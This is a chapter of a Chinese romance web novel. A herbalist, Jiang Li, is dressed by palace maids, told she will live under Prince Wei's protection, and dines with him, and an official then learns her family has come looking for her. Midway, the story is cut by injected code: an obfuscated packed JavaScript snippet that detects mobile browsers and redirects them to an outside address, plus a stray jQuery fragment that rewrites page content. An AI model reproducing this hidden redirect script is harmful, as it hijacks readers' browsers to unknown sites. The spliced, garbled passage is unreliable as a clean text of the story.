后院里,江篱好不容易才将自己那一头长发搓洗干净,结果到穿衣服的时候却犯了难。和她平时穿的窄袖布裙不同,叠放在一旁的衣服层层叠叠宽大丝滑,她分不清哪个是里哪个是外,只能随便扯着一件就往身上套,套好一件要拿另一件的时候,身上的那件却顺着肩膀滑了下去。
“哎呀”。
门外的侍女听到她的声音,一窝蜂的涌了进来,“姑娘怎么了?”
“是不是磕着了?”
“没有没有”,江篱赶紧扯着宽大的衣杉裹住自己,“这个,这个被我弄湿了”。
刚洗过的头发湿漉漉的披在肩上,嫩绿色的凌光绸上湿迹斑斑,衬得那张急切的脸越发惹眼,芸香几个暗想,如此美貌,怪不得殿下那般看重。
“不碍事”,芸香利落的为她换上里衫,让江篱摸不清头脑的层层叠叠在她手里三两下就理的整整齐齐,春樱和碧荷两个则拿着棉帕为她擦拭长发,梅香和春荷一个收拾她换下来的衣杉,另一个招呼粗使婆子将浴桶往外搬,各司其职,忙的井井有条。
看出她不自在的春樱笑着与她闲聊,“姑娘这头发长的可真好,不知平日里都用些什么香露?还望告诉奴婢们一声,我们好早些备上”。
江篱不习惯被人这么围着,但她自己又确实搞不定那繁复的衣杉,听到春樱的话赶紧说,“没,没什么惯用的”,那个打折用哪个呗,她不好意思的轻咳一声,向几位姑娘道谢,“麻烦几位姐姐了”。
“姑娘这话可就折煞奴婢们了,奴婢们既被选了来伺候姑娘,那便是姑娘的人,分内之事何谈麻烦”。
“伺候我?”,江篱指着自己的脸,“我不用伺候啊,我收拾好就回医馆了”。
芸香几个对视一眼,心里当下就没了主意,面上却还是一副笑意盈盈的样子,“那奴婢们随着姑娘一道去医馆就是”。
“不行不行”,江篱连连摆手,就自己那还没刚才洗澡的地方大的房间,可装不了这么多人,“你们都是小,呃,殿下的侍女,跟着我不合适,不合适”。
眼看衣服穿好了,她接过春樱手里的锦帕自己擦头发,“多谢姐姐们帮忙,我这已经好了,姐姐们快去忙吧”。
她平日里动作大习惯了,突然换上宽袖大摆的衣裙很不适应,手上就越发急躁。
眼看那一头顺滑的黑发被她擦的炸毛,春樱心疼的拦她,“哎呦,还是奴婢来吧,您轻点,轻点”。
这时,收拾好后头的梅香和春荷也来了,几个人涌着她坐到铜镜跟前,紫檀木的首饰匣子挨个打开,金玉宝珠各样簪钗在江篱眼前摆开,差点闪花她的眼。
婉拒了春樱的推荐,她在里挑了一根最素的白簪,“这个就成,这个就行”。
“姑娘眼光真好,这羊脂白玉真衬您的肤色”。
江篱一口茶差点喷出来,羊脂白玉?她前些日子抱怨银簪太滑的时候,小黑,哦是,魏明睿还问她,银的都嫌滑换成金的玉的可怎么是好。没想到这一眨眼的功夫,金的玉的竟然都摆到了眼前,虽然不是她的,但过过眼瘾也挺不错的。
看春樱又拿起一根簪子要往她头上插,她赶紧拦她,“好姐姐,行了,行了,这样就行了”。
铜镜虽说朦胧模糊,但她还是能大概看到自己的样子的,再插下去,她要和旁边那大花瓶一样了。
“吱呀”一声,紧闭的房门打开,魏明睿背手回身,穿着一袭蝶赤蓝衣裙的江篱正小心的提着裙子迈过台阶,乌发雪肌,腰肢款款,发间的珍珠步摇摆间荡起数不清的涟漪。
他轻咳一声,快步上前,江篱下意识拽住他的袖子。这衣服好看归好看,就是太多层了,一个不留神脚下就会被绊住。
“喂”,她小声和他说,“这几个姐姐好像误会了,等我回医馆了,你记得帮我解释一下哦”,说着她突然发现,这小黑竟然又换了身衣服,虽说都是玄色,但却有金光来回闪烁。靠近了才发现上面竟都是拿金线暗绣的如意云纹,配着他那张精致夺目的脸一起看,真真应了书里那句“俊貌非凡,天人之姿”。
怪不得女主见他一面就拒了表哥私奔的邀请,欢天喜地的嫁入了魏王府。
魏王往后看了一眼,芸香和春梅正低眉垂眼的跟在三步外,“解释什么?”,他问江篱。
“她们以为她们是来照顾我的,非要跟我一块回医馆”。
“本来就是照顾你的”,萧明睿带她穿过月亮门,“饿了吧,雨花亭已经摆好晚膳了,尝尝合不合你口味”。
“我”,江篱被他惊的脚下一绊,整个人往前扑去,萧明睿眼疾手快把她捞住,“慢些,是衣裳不合身?还是鞋不合身?”。
他问的随意,后面跟着的人却如临大敌,何管家只说要把年轻姑娘用的东西都准备上,怎么个尺寸怎么个喜好却是没告诉她们,魏王那话落在她们耳里不亚于问责,两人当下就要跪地请罪,却看两人脚步不停,已然走出了十步远,她们只能暂且压下心里的惶恐,赶紧跟上。
“合,合身”,江篱哪里知道合不合身,她只知道这衣服极轻,套了整整七层身上都轻飘飘的,“哎呀,你别打岔”,她习惯性的拍他胳膊,“我不需要人照顾呀,我自己能照顾自己,再说了,医馆的院子你又不是没住过,哪里盛得下这么多人”。
“谁说你要住医馆了?”,萧明睿扶着她上台阶,“后面的院子不喜欢?那我让人将城外的别院打理出来,我们搬去那边住”。
江篱一头问号,“我在医馆坐诊,我不住医馆住哪?”
魏王早有准备,“追杀我的人还隐在暗处,你再住医馆恐怕会有性命之忧,不行”。
他这么一说,下午的经历又回到了江篱脑子里,此时再回想起那些狰狞扭曲恶意扑面的脸,她后知后觉的发现,他们想要的可能不仅仅是她的命。
耳边魏明睿还在说,“咱们搬去义庄前,已经有人找去了医馆,那只灰兔就是遭了他们的毒手”,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612339|172180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他看一眼江篱苍白的脸,接着说,“我原是不打算告诉你的”。
“呵呵”,江篱牵强的扯扯嘴角,“那,那赵掌柜和伙计们会不会有危险?我们可千万不能连累了他们呀”。
我们。
简简单单的两个字,但听在萧明睿的耳朵里却格外舒心,“不会,他们又没有跟我从山上下来,那些人不会把主意打到他们身上”。
“那就好”,江篱后怕的拍拍胸口,看着不远处的亭子说,“那就好”。
八角攒顶的亭下,青铜铃随风轻响,远处假山流水鸟语花香,近处珍馐佳肴饭香扑鼻,勾的江篱肚子里馋虫“咕咕咕”直叫。
尤其是碗里的米,带着透明的淡粉,入口软糯香滑还带有清香,太好吃了,她从来没有吃过这么好吃的米。
“也尝尝菜”,魏明睿笑着给她夹了一筷炙烤羊肉,“看看合不合你口味”。
江篱用力点头,“合,绝对合,九族严选的厨子不可能不合”。
话说出口她就觉得不妥,但那边萧明睿已经摆出了洗耳恭听的架势。
竹筷搭在他骨节分明的指间,倾身倾听的样子优雅又矜贵。江篱突然就觉得自己好像进了大观园的刘姥姥,她咽下嘴里的饭,放下滑到胳膊肘上的袖子,轻声解释,“我,我听人说,给皇家办事,办不好的话是要诛九族的”。
萧明睿被她小心翼翼的样子逗笑,他如今是真的好奇,到底是何样的人家才能养出她这般的性子。
至纯至善,至真至美,至情至性,怎么看都不像是俗世里能长出来的。
“那是他吓唬你的”,他柔声与她解释,“谋反抄家至多三族,单是办事不尽心,譬如这厨子做的饭菜不合你口味,换一个便是,哪至于牵连九族”。
说罢,他把江篱垂落的袖子拂开,“吃吧,没有外人,不用顾及那些虚礼”。
江篱不好意思的冲他笑笑,“这袖子也太大了些”。
不仅大,还层层叠叠,堆在她的胳膊肘上,如碧水惹清波,白鹭衔玉珠,让人一时难移开眼。
而另一边的都尉府里,气氛可就没有这么融洽了。
王都尉满脸愁容的抱臂走来走去,王夫人想不明白他一个人怎么这般沉不住气,她放下账本柔言相劝,“殿下今日既没有为此事发作,便是没有追究之意,明儿个你我登门再陪个罪就是了”,何至于如此惊慌。
“唉!”,王都尉长叹一声在她身旁坐下,“殿下脾气不似陛下那般宽和,若是犯了他的忌讳,我这乌纱帽怕是不保啊”。
上门赔罪自是要赔的,可若是他本忘了此事,他这一赔又给他提了醒,岂不是不美。
正犯愁的时候,下人进来通报,“大人,府衙有自称江大夫娘亲和妹妹的人求见”。
闻言,王都尉脸上一喜,“我这就来,我这就来”。
可真是瞌睡了就有人递枕头啊,这下不用再担心乌纱帽不保了。
。